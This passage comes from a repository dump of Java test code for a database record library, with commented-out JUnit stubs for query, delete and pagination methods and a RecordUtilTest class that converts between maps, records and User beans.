System.out.println(data3.size());\n\n//        List<User>  data4 = Db.use(main).findBeanList(User.class,\"select * from c_user\");\n//        System.out.println(data4.size());\n//\n//        List<User>  data5 = Db.use(main).findBeanList(User.class,\"select * from c_user where id_=? \",2);\n//        System.out.println(data5.size());\n\n//        List<Record>  data6 = Db.use(main).findByColumnValueRecords(\"c_user\",\"id_\",2);\n//        System.out.println(data6.size());\n\n//        Record record1 = Db.use(main).findFirst(\"select * from c_user\");\n//        System.out.println(record1);\n\n//        Record record11 = Db.use(main).findById(\"c_user\",2);\n//        System.out.println(JSONUtil.toJsonPrettyStr(record11));\n\n//        Record record112 = Db.use(main).findById(\"c_user\",\"id_\",2);\n//        System.out.println(JSONUtil.toJsonPrettyStr(record112));\n\n        //User record11233 = Db.use(main).findBeanById(User.class,2);\n//        User record11233 = Db.use(main).findBeanById(User.class,\"id_\",2);\n//        System.out.println(JSONUtil.toJsonPrettyStr(record11233));\n\n//        Page<User> record1123344 = Db.use(main).findBeanPages(User.class,1,10);\n\n//        Page<User> record112334455 = Db.use(main).findBeanPages(User.class,1,10,\" select * from c_user where id_<>2 \");\n//        System.out.println(JSONUtil.toJsonPrettyStr(record112334455));\n\n    }\n\n\n\n//\n//    @Test\n//    public void testQueryForDate() throws Exception {\n//        Date result = Db.use(main).queryForDate(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(new GregorianCalendar(2025, Calendar.FEBRUARY, 20, 11, 27).getTime(), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList() throws Exception {\n//        List<String> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, \"keyName\");\n//        Assert.assertEquals(Arrays.<String>asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList2() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList3() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, 0);\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList4() throws Exception {\n//        List<T> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, null);\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList5() throws Exception {\n//        List<T> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, null);\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testExecute() throws Exception {\n//        int result = Db.use(main).execute(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testInsert() throws Exception {\n//        long result = Db.use(main).insert(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(0L, result);\n//    }\n//\n//    @Test\n//    public void testBatchExecute() throws Exception {\n//        int result = Db.use(main).batchExecute(\"sql\", Arrays.<Object>asList(new Object[]{\"objectsList\"}));\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testDoInTransaction() throws Exception {\n//        int result = Db.use(main).doInTransaction(new BatchSql());\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testReplaceSqlCount() throws Exception {\n//        String result = Db.use(main).replaceSqlCount(\"sql\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testReplaceSqlOrder() throws Exception {\n//        String result = Db.use(main).replaceSqlOrder(\"sql\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testGetForList() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).getForList(\"sql\", Arrays.<String>asList(\"String\"), 0, 0);\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testGetCharCnt() throws Exception {\n//        int result = Db.use(main).getCharCnt(\"sql\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testGetTotalRows() throws Exception {\n//        long result = Db.use(main).getTotalRows(\"sql\", Arrays.<String>asList(\"String\"));\n//        Assert.assertEquals(0L, result);\n//    }\n//\n//    @Test\n//    public void testDeleteById() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        Boolean result = Db.use(main).deleteById(\"tableName\", \"idValues\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testDeleteBySql() throws Exception {\n//        Boolean result = Db.use(main).deleteBySql(\"sql\", \"paras\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testDeleteBySql2() throws Exception {\n//        Boolean result = Db.use(main).deleteBySql(\"sql\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testFindBeanList() throws Exception {\n//        List<T> result = Db.use(main).findBeanList(null, \"sql\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanList2() throws Exception {\n//        List result = Db.use(main).findBeanList(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"sql\", \"params\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindMapList() throws Exception {\n//        List result = Db.use(main).findMapList(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"sql\", \"params\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindRecordList() throws Exception {\n//        List result = Db.use(main).findRecordList(\"sql\", \"params\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanById() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        T result = Db.use(main).findBeanById(null, \"idValue\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanByIds() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        T result = Db.use(main).findBeanByIds(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"primaryKeys\", \"idValue\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanPages() throws Exception {\n//        Page result = Db.use(main).findBeanPages(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0);\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanPages2() throws Exception {\n//        Page result = Db.use(main).findBeanPages(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0, new HashMap<String, Object>() {{\n//            put(\"String\", \"params\");\n//        }});\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBeanPage() throws Exception {\n//        Page result = Db.use(main).queryBeanPage(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0);\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBeanPage2() throws Exception {\n//        Page result = Db.use(main).queryBeanPage(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0, new HashMap<String, Object>() {{\n//            put(\"String\", \"params\");\n//        }});\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryMapPages() throws Exception {\n//        Page<Map> result = Db.use(main).queryMapPages(\"sql\", 0, 0, new Object[]{\"params\"});\n//        Assert.assertEquals(new Page<Map>(Arrays.<Map>asList(new HashMap() {{\n//            put(\"String\", \"String\");\n//        }}), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testCount() throws Exception {\n//        int result = Db.use(main).count(\"sql\", \"params\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testFindRecordById() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        Record result = Db.use(main).findRecordById(\"tableName\", \"id\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindByColumnValueRecords() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        List<Record> result = Db.use(main).findByColumnValueRecords(\"tableName\", \"columnNames\", \"columnValues\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFindByColumnValueBeans() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        List result = Db.use(main).findByColumnValueBeans(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"columnNames\", \"columnValues\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindByWhereSqlForBean() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        List result = Db.use(main).findByWhereSqlForBean(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"whereSql\", \"columnValues\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testPaginate() throws Exception {\n//        Page<Record> result = Db.use(main).paginate(Integer.valueOf(0), Integer.valueOf(0), \"select\", \"from\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryMaps() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).queryMaps(\"sql\", \"paras\");\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testQuery() throws Exception {\n//        List<T> result = Db.use(main).query(\"sql\", \"paras\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testQuery2() throws Exception {\n//        List<T> result = Db.use(main).query(\"sql\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirst() throws Exception {\n//        T result = Db.use(main).queryFirst(\"sql\", \"paras\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirstMap() throws Exception {\n//        T result = Db.use(main).queryFirstMap(\"sql\", \"paras\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirst2() throws Exception {\n//        T result = Db.use(main).queryFirst(\"sql\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirstMap2() throws Exception {\n//        T result = Db.use(main).queryFirstMap(\"sql\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryColumn() throws Exception {\n//        T result = Db.use(main).queryColumn(\"sql\", \"paras\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryColumn2() throws Exception {\n//        T result = Db.use(main).queryColumn(\"sql\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryStr() throws Exception {\n//        String result = Db.use(main).queryStr(\"sql\", \"paras\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testQueryStr2() throws Exception {\n//        String result = Db.use(main).queryStr(\"sql\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testQueryInt() throws Exception {\n//        Integer result = Db.use(main).queryInt(\"sql\", \"paras\");\n//        Assert.assertEquals(Integer.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryInt2() throws Exception {\n//        Integer result = Db.use(main).queryInt(\"sql\");\n//        Assert.assertEquals(Integer.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryLong() throws Exception {\n//        Long result = Db.use(main).queryLong(\"sql\", \"paras\");\n//        Assert.assertEquals(Long.valueOf(1), result);\n//    }\n//\n//    @Test\n//    public void testQueryLong2() throws Exception {\n//        Long result = Db.use(main).queryLong(\"sql\");\n//        Assert.assertEquals(Long.valueOf(1), result);\n//    }\n//\n//    @Test\n//    public void testQueryDouble() throws Exception {\n//        Double result = Db.use(main).queryDouble(\"sql\", \"paras\");\n//        Assert.assertEquals(Double.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryDouble2() throws Exception {\n//        Double result = Db.use(main).queryDouble(\"sql\");\n//        Assert.assertEquals(Double.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryFloat() throws Exception {\n//        Float result = Db.use(main).queryFloat(\"sql\", \"paras\");\n//        Assert.assertEquals(Float.valueOf(1.1f), result);\n//    }\n//\n//    @Test\n//    public void testQueryFloat2() throws Exception {\n//        Float result = Db.use(main).queryFloat(\"sql\");\n//        Assert.assertEquals(Float.valueOf(1.1f), result);\n//    }\n//\n//    @Test\n//    public void testQueryBigDecimal() throws Exception {\n//        BigDecimal result = Db.use(main).queryBigDecimal(\"sql\", \"paras\");\n//        Assert.assertEquals(new BigDecimal(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBigDecimal2() throws Exception {\n//        BigDecimal result = Db.use(main).queryBigDecimal(\"sql\");\n//        Assert.assertEquals(new BigDecimal(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBigInteger() throws Exception {\n//        BigInteger result = Db.use(main).queryBigInteger(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryBigInteger2() throws Exception {\n//        BigInteger result = Db.use(main).queryBigInteger(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryBytes() throws Exception {\n//        byte[] result = Db.use(main).queryBytes(\"sql\", \"paras\");\n//        Assert.assertArrayEquals(new byte[]{(byte) 0}, result);\n//    }\n//\n//    @Test\n//    public void testQueryBytes2() throws Exception {\n//        byte[] result = Db.use(main).queryBytes(\"sql\");\n//        Assert.assertArrayEquals(new byte[]{(byte) 0}, result);\n//    }\n//\n//    @Test\n//    public void testQueryDate() throws Exception {\n//        Date result = Db.use(main).queryDate(\"sql\", \"paras\");\n//        Assert.assertEquals(new GregorianCalendar(2025, Calendar.FEBRUARY, 20, 11, 27).getTime(), result);\n//    }\n//\n//    @Test\n//    public void testQueryDate2() throws Exception {\n//        Date result = Db.use(main).queryDate(\"sql\");\n//        Assert.assertEquals(new GregorianCalendar(2025, Calendar.FEBRUARY, 20, 11, 27).getTime(), result);\n//    }\n//\n//    @Test\n//    public void testQueryLocalDateTime() throws Exception {\n//        LocalDateTime result = Db.use(main).queryLocalDateTime(\"sql\", \"paras\");\n//        Assert.assertEquals(LocalDateTime.of(2025, Month.FEBRUARY, 20, 11, 27, 3), result);\n//    }\n//\n//    @Test\n//    public void testQueryLocalDateTime2() throws Exception {\n//        LocalDateTime result = Db.use(main).queryLocalDateTime(\"sql\");\n//        Assert.assertEquals(LocalDateTime.of(2025, Month.FEBRUARY, 20, 11, 27, 3), result);\n//    }\n//\n//    @Test\n//    public void testQueryTime() throws Exception {\n//        Time result = Db.use(main).queryTime(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryTime2() throws Exception {\n//        Time result = Db.use(main).queryTime(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryTimestamp() throws Exception {\n//        Timestamp result = Db.use(main).queryTimestamp(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryTimestamp2() throws Exception {\n//        Timestamp result = Db.use(main).queryTimestamp(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryBoolean() throws Exception {\n//        Boolean result = Db.use(main).queryBoolean(\"sql\", \"paras\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testQueryBoolean2() throws Exception {\n//        Boolean result = Db.use(main).queryBoolean(\"sql\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testQueryShort() throws Exception {\n//        Short result = Db.use(main).queryShort(\"sql\", \"paras\");\n//        Assert.assertEquals(Short.valueOf((short) 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryShort2() throws Exception {\n//        Short result = Db.use(main).queryShort(\"sql\");\n//        Assert.assertEquals(Short.valueOf((short) 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryByte() throws Exception {\n//        Byte result = Db.use(main).queryByte(\"sql\", \"paras\");\n//        Assert.assertEquals(Byte.valueOf(\"00110\"), result);\n//    }\n//\n//    @Test\n//    public void testQueryByte2() throws Exception {\n//        Byte result = Db.use(main).queryByte(\"sql\");\n//        Assert.assertEquals(Byte.valueOf(\"00110\"), result);\n//    }\n//\n//    @Test\n//    public void testQueryNumber() throws Exception {\n//        Number result = Db.use(main).queryNumber(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryNumber2() throws Exception {\n//        Number result = Db.use(main).queryNumber(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testFind() throws Exception {\n//        List<Record> result = Db.use(main).find(\"sql\", \"paras\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFind2() throws Exception {\n//        List<Record> result = Db.use(main).find(\"sql\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFindMaps() throws Exception {\n//        List<Map> result = Db.use(main).findMaps(\"sql\");\n//        Assert.assertEquals(Arrays.<Map>asList(new HashMap() {{\n//            put(\"String\", \"String\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testFindObjs() throws Exception {\n//        List<T> result = Db.use(main).findObjs(null, \"sql\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testFindAll() throws Exception {\n//        when(dialect.forFindAll(anyString())).thenReturn(\"forFindAllResponse\");\n//\n//        List<Record> result = Db.use(main).findAll(\"tableName\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFindFirst() throws Exception {\n//        Record result = Db.use(main).findFirst(\"sql\", \"paras\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindFirst2() throws Exception {\n//        Record result = Db.use(main).findFirst(\"sql\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindById() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//        when(dialect.getDefaultPrimaryKey()).thenReturn(\"getDefaultPrimaryKeyResponse\");\n//\n//        Record result = Db.use(main).findById(\"tableName\", \"idValue\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindById2() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        Record result = Db.use(main).findById(\"tableName\", \"primaryKey\", \"idValue\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindByIds() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        Record result = Db.use(main).findByIds(\"tableName\", \"primaryKey\", \"idValues\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testDeleteById2() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//        when(dialect.getDefaultPrimaryKey()).thenReturn(\"getDefaultPrimaryKeyResponse\");\n//\n//        boolean result = Db.use(main).deleteById(\"tableName\", \"idValue\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDeleteByPrimaryKey() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).deleteByPrimaryKey(\"tableName\", \"idValue\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDeleteById3() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).deleteById(\"tableName\", \"primaryKey\", \"idValue\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDeleteByIds() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).deleteByIds(\"tableName\", \"primaryKey\", \"idValues\");\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDelete() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).delete(\"tableName\", \"primaryKey\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDelete2() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        boolean result = Db.use(main).delete(\"tableName\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testDelete3() throws Exception {\n//        int result = Db.use(main).delete(\"sql\", \"paras\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testDelete4() throws Exception {\n//        int result = Db.use(main).delete(\"sql\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testPaginate2() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).paginate(0, 0, \"select\", \"sqlExceptSelect\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginate3() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).paginate(0, 0, true, \"select\", \"sqlExceptSelect\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testDoPaginate() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).doPaginate(0, 0, Boolean.TRUE, \"select\", \"sqlExceptSelect\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testDoPaginateByFullSql() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).doPaginateByFullSql(0, 0, Boolean.TRUE, \"totalRowSql\", null, \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginate4() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//        when(dialect.forPaginateTotalRow(anyString(), anyString(), any())).thenReturn(\"forPaginateTotalRowResponse\");\n//\n//        Page<Record> result = Db.use(main).paginate(0, 0, \"select\", \"sqlExceptSelect\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testDoPaginateByFullSql2() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).doPaginateByFullSql(0, 0, Boolean.TRUE, \"totalRowSql\", \"findSql\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginateByFullSql() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).paginateByFullSql(0, 0, \"totalRowSql\", \"findSql\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testPaginateByFullSql2() throws Exception {\n//        when(dialect.forPaginate(anyInt(), anyInt(), any())).thenReturn(\"forPaginateResponse\");\n//\n//        Page<Record> result = Db.use(main).paginateByFullSql(0, 0, true, \"totalRowSql\", \"findSql\", \"paras\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testSave() throws Exception {\n//        boolean result = Db.use(main).save(\"tableName\", \"primaryKey\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testSave2() throws Exception {\n//        boolean result = Db.use(main).save(\"tableName\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testUpdate3() throws Exception {\n//        boolean result = Db.use(main).update(\"tableName\", \"primaryKey\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n//\n//    @Test\n//    public void testUpdate4() throws Exception {\n//        boolean result = Db.use(main).update(\"tableName\", new Record());\n//        Assert.assertEquals(true, result);\n//    }\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/test/java/io/github/wujun728/db/RecordUtilTest.java",
    "content": "package io.github.wujun728.db;\n\nimport cn.hutool.json.JSONConfig;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.test.User;\nimport io.github.wujun728.db.utils.RecordUtil;\n\nimport java.util.*;\n\npublic class RecordUtilTest {\n\n    public static void main(String[] args) {\n        testSingle();\n        testList();\n    }\n    public static void testList() {\n        Map map = new HashMap<>();\n        map.put(\"id\", 1);\n        map.put(\"userName\", \"zhangsan\");\n        map.put(\"firstAdress\", \"fdafdsa111\");\n        map.put(\"age\", 111);\n        map.put(\"createData\", new Date());\n        List<Map<String, Object>> mapList = new ArrayList<>();\n        mapList.add(map);\n\n        List<Record> record1ss = RecordUtil.mapToRecords(mapList);\n        printLog(\"mapToRecords record1ss = \", record1ss);\n\n        List<Map<String, Object>> map1ss = RecordUtil.recordToMaps(record1ss);\n        printLog(\"recordToMaps map1ss = \", map1ss);\n\n        List<User> user1ss = RecordUtil.mapToBeans(map1ss, User.class);\n        printLog(\"mapToBeans user1ss = \", user1ss);\n\n        List<User> user22ss = RecordUtil.recordToBeans(record1ss, User.class);\n        printLog(\"recordToBeans user22ss  = \", user22ss);\n\n        List<Map<String, Object>> map22ss = RecordUtil.beanToMaps(user1ss);\n        printLog(\"beanToMaps map22ss = \", map22ss);\n\n        List<Record> record33 = RecordUtil.beanToRecords(user1ss);\n        printLog(\"beanToRecords record33 = \", record33);\n    }\n    public static void testSingle() {\n        Map map = new HashMap<>();\n        map.put(\"id\", 1);\n        map.put(\"userName\", \"zhangsan\");\n        map.put(\"firstAdress\", \"fdafdsa111\");\n        map.put(\"age\", 111);\n        map.put(\"createData\", new Date());\n        Record record1 = RecordUtil.mapToRecord(map);\n        printLog(\"mapToRecord record1 = \", record1);\n\n        Map map1 = RecordUtil.recordToMap(record1);\n        printLog(\"recordToMap map1 = \", map1);\n\n        User user1 = RecordUtil.mapToBean(map1, User.class);\n        printLog(\"mapToBean user1 = \", user1);\n\n        User user22 = RecordUtil.recordToBean(record1, User.class);\n        printLog(\"recordToBean user22  = \", user22);\n\n        Map map22 = RecordUtil.beanToMap(user1);\n        printLog(\"beanToMap user1 = \", map22);\n\n        Record record33 = RecordUtil.beanToRecord(user1);\n        printLog(\"beanToRecord user1 = \", record33);\n    }\n\n    static void printLog(String info, Object obj) {\n        StaticLog.info(info + JSONUtil.toJsonPrettyStr(JSONUtil.toJsonStr(obj,\n                JSONConfig.create().setDateFormat(\"yyyy-MM-dd HH:mm:ss\").setIgnoreNullValue(false))));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/test/java/io/github/wujun728/db/test/DruidPageSqlTest.java",
